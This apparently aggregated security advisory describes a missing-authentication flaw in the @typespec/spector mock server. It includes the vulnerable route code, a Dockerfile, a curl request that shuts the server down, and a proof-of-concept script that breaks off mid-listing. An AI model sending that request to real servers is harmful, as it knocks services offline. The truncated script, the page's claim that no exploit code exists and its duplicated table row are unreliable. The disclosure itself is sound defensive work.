# GHSA-7q9c-hpx7-9cwm: TypeSpec: Unauthenticated Remote Shutdown of Spector Mock Server via POST /.admin/stop

> Unauthenticated remote attackers can shut down the TypeSpec Spector mock server via a single POST request, causing denial of service.

- **Severity:** Not scored
- **Exploited in the wild:** Not known
- **Login needed:** Not needed
- **Attackable:** Over the internet
- **Victim action needed:** Not needed
- **Fix available:** Yes
- **Published:** 4 Sep 2026

## What is GHSA-7q9c-hpx7-9cwm?

GHSA-7q9c-hpx7-9cwm is a missing authorization vulnerability in @typespec/spector, published on 4 Sep 2026. An attacker can exploit it over the internet without logging in, with no action from the victim.

### Official description

### Summary

`@typespec/spector` registers a `POST /.admin/stop` HTTP route with no authentication, authorization token, Origin check, or IP-source restriction. Any network-reachable client can send a single unauthenticated POST request to terminate the mock server process. Because the server binds to `0.0.0.0` by default (all interfaces), this endpoint is exposed to any host that can reach the server's port—not just localhost—making a complete denial-of-service trivially achievable with one HTTP request. Severity is **High (CVSS 7.5)**.

### Details

The vulnerability originates in `packages/spector/src/routes/admin.ts` at line 7, where an Express router registers the shutdown endpoint with no authentication middleware whatsoever:

```ts
// packages/spector/src/routes/admin.ts:7-12
router.post(AdminUrls.stop, (_req, res) => {
  logger.info("Received signal to stop server. Exiting...");
  res.status(202).end();
  setTimeout(() => {
    process.exit(0);
  });
});
```

The constant `AdminUrls.stop` resolves to `/.admin/stop` (`packages/spector/src/constants.ts:1-3`).

The complete attack-reachable call chain is:

1. **`packages/spector/src/cli/cli.ts:139-166`** — `tsp-spector serve <scenariosPaths..>` starts the server on default port `3000`. No `host` option is offered, so binding address is determined by the Express/Node.js default.
2. **`packages/spector/src/actions/serve.ts:28-33`** — constructs `MockApiApp` and calls `start()` without supplying a host argument.
3. **`packages/spector/src/app/app.ts:39-40`** — registers `internalRouter` at `/`, which includes the admin routes.
4. **`packages/spector/src/routes/index.ts:4-5`** — mounts `adminRoutes` under `/`.
5. **`packages/spector/src/routes/admin.ts:7-12`** — the `POST /.admin/stop` handler (the sink) is reached with zero authentication.
6. **`packages/spector/src/server/server.ts:88`** — `this.app.listen(this.config.port)` is called without a host argument, causing Node.js/Express to bind on `0.0.0.0` (all network interfaces).

There is no authentication middleware, API token validation, `Authorization` header check, `Origin` header restriction, or IP allowlist anywhere between the inbound HTTP request and the `process.exit(0)` call. The admin route is mounted before scenario routes so it cannot be shadowed.

### PoC

**Prerequisites:**

```
git clone https://github.com/microsoft/typespec
cd typespec
# Checkout commit d88ddc16 (affected version 0.1.0-alpha.26)
pnpm install
pnpm build
```

**Step 1 — Start the mock server:**

```bash
pnpm --filter @typespec/spector exec tsp-spector serve packages/http-specs/specs --port 3000
# Server listens on 0.0.0.0:3000 by default
```

Alternatively, use the provided Docker environment:

```bash
# Build context: reports/npm_web_64_microsoft__typespec/
docker build -t vuln002-spector -f vuln-002/Dockerfile .
docker run -d -p 3001:3000 --name vuln002-server vuln002-spector
```

**Step 2 — Execute the exploit (single unauthenticated request):**

```bash
curl -i -X POST http://<server-host>:3000/.admin/stop
```

Using the provided PoC script:

```bash
python3 vuln-002/poc.py --host 127.0.0.1 --port 3001
```

**Step 3 — Observe the result:**

```
HTTP/1.1 202 Accepted
```

The server process immediately exits. Subsequent connection attempts are refused. Docker logs show:

```
info Received signal to stop server. Exiting...
```

Docker inspect confirms `ExitCode=0, Status=exited`. No credentials, tokens, or special headers are required at any step.

### Impact

This is a **Missing Authentication for Critical Function (CWE-306)** vulnerability. An unauthenticated remote attacker who can send HTTP traffic to the port where `tsp-spector serve` is listening can terminate the server process with a single POST request, resulting in a complete denial of service.

The primary victims are development or CI/CD pipeline operators who run `tsp-spector serve` in environments where the port is reachable from untrusted network segments—for example, a shared CI runner, a cloud developer environment, a container without proper network isolation, or any host with the port exposed to a network. Because the server binds to `0.0.0.0` by default and the CLI offers no `--host` option to restrict the binding address, operators have no built-in mechanism to mitigate this risk without external firewall rules.

Although `@typespec/spector` is a development/testing tool, there is a clear attacker-victim trust boundary: a third party reachable over the network is distinct from the developer who started the server. The default configuration is vulnerable without any additional attacker capability beyond network reachability.

### Reproduction artifacts

#### `Dockerfile`

```dockerfile
# VULN-002 PoC: Unauthenticated Remote Shutdown via POST /.admin/stop
# Package: @typespec/spector 0.1.0-alpha.26 (microsoft/typespec)
# CWE-306: Missing Authentication for Critical Function  CVSS 7.5 (High)
#
# Build context: reports/npm_web_64_microsoft__typespec/
# Build:  docker build -t vuln002-spector -f vuln-002/Dockerfile .
# Run:    docker run -d -p 3000:3000 --name vuln002-server vuln002-spector

FROM node:22-slim

# Install tsx to run TypeScript source files directly without compilation.
# This lets us use the actual repository .ts files as-is.
RUN npm install -g tsx@4

WORKDIR /poc

# Minimal package.json declaring ESM mode
RUN echo '{"type":"module"}' > package.json

# Install only the npm packages actually used by the vulnerable code path:
#   express     — web framework (admin.ts, routes/index.ts, server.ts)
#   picocolors  — terminal colors (logger.ts)
RUN npm install express picocolors

# -----------------------------------------------------------------------
# Copy the EXACT vulnerable source files from the repository.
# No source file is modified — they are used verbatim.
# -----------------------------------------------------------------------

# packages/spector/src/constants.ts
#   Defines AdminUrls.stop = "/.admin/stop"
COPY repo/packages/spector/src/constants.ts ./spector/constants.ts

# packages/spector/src/logger.ts
#   Simple console logger; imported by admin.ts
COPY repo/packages/spector/src/logger.ts ./spector/logger.ts

# packages/spector/src/routes/admin.ts  ← VULNERABILITY SINK
#   Registers POST /.admin/stop with NO authentication → process.exit(0)
COPY repo/packages/spector/src/routes/admin.ts ./spector/routes/admin.ts

# packages/spector/src/routes/index.ts
#   Mounts adminRoutes at "/"
COPY repo/packages/spector/src/routes/index.ts ./spector/routes/index.ts

# Minimal entry point that connects the router to the HTTP server,
# replicating the behaviour of MockApiApp.start() + MockApiServer.start()
COPY vuln-002/server-entry.ts ./server-entry.ts

EXPOSE 3000

# tsx strips TypeScript types at runtime — no separate compile step needed
CMD ["tsx", "server-entry.ts"]
```

#### `poc.py`

```python
#!/usr/bin/env python3
"""
PoC for VULN-002: Unauthenticated Remote Shutdown via POST /.admin/stop
Package:   @typespec/spector 0.1.0-alpha.26 (microsoft/typespec)
CWE:       CWE-306 — Missing Authentication for Critical Function
CVSS v3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H  Base Score: 7.5 (High)

Vulnerability:
  packages/spector/src/routes/admin.ts:7 registers POST /.admin/stop without
  any authentication, token, Origin, or IP-source check.  The handler calls
  process.exit(0) after returning HTTP 202.  The server listens on 0.0.0.0
  (packages/spector/src/server/server.ts:88) so any network-reachable client
  can terminate the process with a single unauthenticated POST request.

Usage:
  python3 poc.py [--host HOST] [--port PORT]
"""

import sys
import time
import socket
import argparse
import urllib.request
import urllib.error

BANNER = """
================================================================
VULN-002: Unauthenticated Remote Shutdown — POST /.admin/stop
Package : @typespec/spector 0.1.0-alpha.26
CWE     : CWE-306  CVSS 7.5 (High)
=======================================

## Which versions are affected by GHSA-7q9c-hpx7-9cwm?

2 open source packages ship an affected version, including @typespec/spector.


| Package | Ecosystem | Affected | Fixed in |
| --- | --- | --- | --- |
| `@typespec/spector` | npm | All versions | 0.1.0-alpha.27 |
| `@typespec/spector` | npm | All versions | 0.1.0-alpha.27 |

## How do I fix GHSA-7q9c-hpx7-9cwm?

Upgrade @typespec/spector to 0.1.0-alpha.27 or later.

## Is GHSA-7q9c-hpx7-9cwm being exploited?

There is no known exploitation of GHSA-7q9c-hpx7-9cwm in the wild and no public exploit code.

## Fix prompt for AI coding agents

```text
Check this codebase for GHSA-7q9c-hpx7-9cwm and fix it if it is affected.

What it is: GHSA-7q9c-hpx7-9cwm is a missing authorization vulnerability in @typespec/spector, published on 4 Sep 2026. An attacker can exploit it over the internet without logging in, with no action from the victim.
Exploitation: There is no known exploitation of GHSA-7q9c-hpx7-9cwm in the wild and no public exploit code.

Affected packages and fixed versions:
- @typespec/spector (npm): affected all versions; fixed in 0.1.0-alpha.27
- @typespec/spector (npm): affected all versions; fixed in 0.1.0-alpha.27

Task:
1. Search the dependency manifests and lockfiles (for example package.json, package-lock.json, requirements.txt, poetry.lock, uv.lock, pom.xml, build.gradle, go.mod, Cargo.lock, Gemfile.lock) and any Dockerfiles for the affected packages, including transitive dependencies.
2. If an affected version is in use, upgrade it to the fixed version for its release line with the project's package manager, so the lockfile is regenerated. Prefer the smallest upgrade that fixes it.
3. If there is no fix, or the upgrade would break the build, do not guess: explain the risk and the safest workaround instead.
4. Run the tests and summarise what changed and why.
5. If nothing in the project is affected, say so and change nothing.

Reference: https://insights.sbomify.com/GHSA-7q9c-hpx7-9cwm/ (Markdown: https://insights.sbomify.com/GHSA-7q9c-hpx7-9cwm/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/GHSA-7q9c-hpx7-9cwm

---
From sbomify Insights: https://insights.sbomify.com/GHSA-7q9c-hpx7-9cwm/
Summaries are generated and may contain mistakes; the official description above is the record.
